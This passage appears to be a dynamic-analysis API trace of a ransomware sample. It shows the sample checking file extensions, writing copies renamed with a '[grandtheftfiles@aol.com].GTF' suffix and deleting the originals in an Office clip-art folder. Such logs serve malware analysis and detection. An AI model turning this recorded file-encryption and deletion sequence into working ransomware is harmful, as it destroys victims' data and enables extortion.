	[0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.032] lstrlenW (lpString=".jpg") returned 4
	[0090.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.032] lstrlenW (lpString=".doc") returned 4
	[0090.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.032] lstrlenW (lpString=".docx") returned 5
	[0090.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.032] lstrlenW (lpString=".pdf") returned 4
	[0090.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.033] lstrlenW (lpString=".xls") returned 4
	[0090.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.033] lstrlenW (lpString=".xlsx") returned 5
	[0090.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.033] lstrlenW (lpString=".ppt") returned 4
	[0090.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.033] lstrlenW (lpString=".zip") returned 4
	[0090.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.033] lstrlenW (lpString=".rar") returned 4
	[0090.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.033] lstrlenW (lpString=".bz2") returned 4
	[0090.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.033] lstrlenW (lpString=".7z") returned 3
	[0090.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.033] lstrlenW (lpString=".dbf") returned 4
	[0090.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.033] lstrlenW (lpString=".1cd") returned 4
	[0090.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0090.033] lstrlenW (lpString=".jpg") returned 4
	[0090.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.033] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.033] lstrlenW (lpString="J0086420.WMF") returned 12
	[0090.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.034] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=9596) returned 1
	[0090.034] CloseHandle (hObject=0x31c) returned 1
	[0090.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220
	[0090.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.034] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.034] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0090.035] GetLastError () returned 0x0
	[0090.035] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x257c, lpOverlapped=0x0) returned 1
	[0090.037] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2580, lpOverlapped=0x0) returned 1
	[0090.039] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.039] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.039] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.039] CloseHandle (hObject=0x2d0) returned 1
	[0090.040] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.040] SetEndOfFile (hFile=0x31c) returned 1
	[0090.044] CloseHandle (hObject=0x31c) returned 1
	[0090.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1
	[0090.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.044] lstrlenW (lpString=".doc") returned 4
	[0090.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.044] lstrlenW (lpString=".docx") returned 5
	[0090.044] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0090.044] lstrlenW (lpString=".pdf") returned 4
	[0090.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.044] lstrlenW (lpString=".xls") returned 4
	[0090.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.044] lstrlenW (lpString=".xlsx") returned 5
	[0090.044] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0090.044] lstrlenW (lpString=".ppt") returned 4
	[0090.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.045] lstrlenW (lpString=".zip") returned 4
	[0090.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.045] lstrlenW (lpString=".rar") returned 4
	[0090.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.045] lstrlenW (lpString=".bz2") returned 4
	[0090.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.045] lstrlenW (lpString=".7z") returned 3
	[0090.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.045] lstrlenW (lpString=".dbf") returned 4
	[0090.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.045] lstrlenW (lpString=".1cd") returned 4
	[0090.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.045] lstrlenW (lpString=".jpg") returned 4
	[0090.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.045] lstrlenW (lpString=".doc") returned 4
	[0090.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.045] lstrlenW (lpString=".docx") returned 5
	[0090.045] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0090.045] lstrlenW (lpString=".pdf") returned 4
	[0090.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.045] lstrlenW (lpString=".xls") returned 4
	[0090.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.046] lstrlenW (lpString=".xlsx") returned 5
	[0090.046] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0090.046] lstrlenW (lpString=".ppt") returned 4
	[0090.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.046] lstrlenW (lpString=".zip") returned 4
	[0090.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.046] lstrlenW (lpString=".rar") returned 4
	[0090.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.046] lstrlenW (lpString=".bz2") returned 4
	[0090.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.046] lstrlenW (lpString=".7z") returned 3
	[0090.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.046] lstrlenW (lpString=".dbf") returned 4
	[0090.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.046] lstrlenW (lpString=".1cd") returned 4
	[0090.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0090.046] lstrlenW (lpString=".jpg") returned 4
	[0090.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.046] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.046] lstrlenW (lpString="J0086424.WMF") returned 12
	[0090.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.048] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=17016) returned 1
	[0090.048] CloseHandle (hObject=0x31c) returned 1
	[0090.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220
	[0090.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.048] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.048] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0090.049] GetLastError () returned 0x0
	[0090.049] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x4278, lpOverlapped=0x0) returned 1
	[0090.051] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4280, lpOverlapped=0x0) returned 1
	[0090.053] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.053] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.053] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.053] CloseHandle (hObject=0x2d0) returned 1
	[0090.053] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.053] SetEndOfFile (hFile=0x31c) returned 1
	[0090.054] CloseHandle (hObject=0x31c) returned 1
	[0090.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1
	[0090.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.055] lstrlenW (lpString=".doc") returned 4
	[0090.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.055] lstrlenW (lpString=".docx") returned 5
	[0090.055] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0090.055] lstrlenW (lpString=".pdf") returned 4
	[0090.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.055] lstrlenW (lpString=".xls") returned 4
	[0090.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.055] lstrlenW (lpString=".xlsx") returned 5
	[0090.055] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0090.055] lstrlenW (lpString=".ppt") returned 4
	[0090.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.055] lstrlenW (lpString=".zip") returned 4
	[0090.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.055] lstrlenW (lpString=".rar") returned 4
	[0090.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.055] lstrlenW (lpString=".bz2") returned 4
	[0090.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.055] lstrlenW (lpString=".7z") returned 3
	[0090.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.056] lstrlenW (lpString=".dbf") returned 4
	[0090.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.056] lstrlenW (lpString=".1cd") returned 4
	[0090.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.056] lstrlenW (lpString=".jpg") returned 4
	[0090.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.056] lstrlenW (lpString=".doc") returned 4
	[0090.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.056] lstrlenW (lpString=".docx") returned 5
	[0090.056] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0090.056] lstrlenW (lpString=".pdf") returned 4
	[0090.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.056] lstrlenW (lpString=".xls") returned 4
	[0090.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.056] lstrlenW (lpString=".xlsx") returned 5
	[0090.056] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0090.056] lstrlenW (lpString=".ppt") returned 4
	[0090.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.056] lstrlenW (lpString=".zip") returned 4
	[0090.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.056] lstrlenW (lpString=".rar") returned 4
	[0090.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.056] lstrlenW (lpString=".bz2") returned 4
	[0090.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.057] lstrlenW (lpString=".7z") returned 3
	[0090.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.057] lstrlenW (lpString=".dbf") returned 4
	[0090.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.057] lstrlenW (lpString=".1cd") returned 4
	[0090.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68
	[0090.057] lstrlenW (lpString=".jpg") returned 4
	[0090.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.057] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.057] lstrlenW (lpString="J0086426.WMF") returned 12
	[0090.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.058] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=21782) returned 1
	[0090.058] CloseHandle (hObject=0x31c) returned 1
	[0090.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220
	[0090.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.058] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.058] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0090.059] GetLastError () returned 0x0
	[0090.059] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x5516, lpOverlapped=0x0) returned 1
	[0090.061] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x5520, lpOverlapped=0x0) returned 1
	[0090.063] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.063] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.063] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.063] CloseHandle (hObject=0x2d0) returned 1
	[0090.063] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.063] SetEndOfFile (hFile=0x31c) returned 1
	[0090.064] CloseHandle (hObject=0x31c) returned 1
	[0090.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1
	[0090.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.065] lstrlenW (lpString=".doc") returned 4
	[0090.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.065] lstrlenW (lpString=".docx") returned 5
	[0090.065] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0090.065] lstrlenW (lpString=".pdf") returned 4
	[0090.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.065] lstrlenW (lpString=".xls") returned 4
	[0090.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.065] lstrlenW (lpString=".xlsx") returned 5
	[0090.065] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0090.065] lstrlenW (lpString=".ppt") returned 4
	[0090.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.065] lstrlenW (lpString=".zip") returned 4
	[0090.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.065] lstrlenW (lpString=".rar") returned 4
	[0090.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.065] lstrlenW (lpString=".bz2") returned 4
	[0090.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.065] lstrlenW (lpString=".7z") returned 3
	[0090.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.065] lstrlenW (lpString=".dbf") returned 4
	[0090.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.065] lstrlenW (lpString=".1cd") returned 4
